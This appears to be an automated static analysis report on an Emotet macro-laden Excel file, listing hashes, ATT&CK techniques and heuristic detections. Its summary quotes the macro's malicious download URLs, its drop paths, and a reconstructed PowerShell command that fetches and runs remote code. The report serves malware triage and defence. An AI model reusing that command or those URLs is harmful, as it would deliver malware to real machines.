Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 d30102013ee35962…

MALICIOUS

Office (OLE) / .XLSX

138.0 KB Created: 2022-02-09 09:48:26 Authoring application: Microsoft Excel
MD5: e4b205017565f970922c8b07c2870c5f SHA-1: 1663c05387ca57e54afdfb21fe2cf07db9ad5ced SHA-256: d30102013ee3596274a7bb09399f65c05c06ac7adeac34792543c7c42f2cbc9b
240 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The critical ClamAV detection and high-severity heuristics for VBA macros, Workbook_Open execution, and CreateObject calls strongly indicate a malicious macro downloader. The VBA script attempts to download and execute payloads from multiple URLs, including 'http://midnighitsilverbcraft.com/store/wBjNOUwc/B710N4cQ6R3/' and 'https://redington.karmart', and saves them as 'c:\programdata\oue4hjld.vbs' and 'c:\programdata\bhnasleil.bat'. The script also uses PowerShell commands to achieve this, as evidenced by the reconstructed command line: 'hell -e -c "IEX (New-Object Net.WebClient).DownloadString(\'http://midnighitsilverbcraft.com/store/wBjNOUwc/B710N4cQ6R3/\')"'.

Heuristics 6

  • ClamAV: Doc.Downloader.EmotetRed02220-9938909-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02220-9938909-0
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
809a7078983d158147d6b59dd773766dde6877d9e7f7a482d53169bbb6e5442f		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 52433 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.

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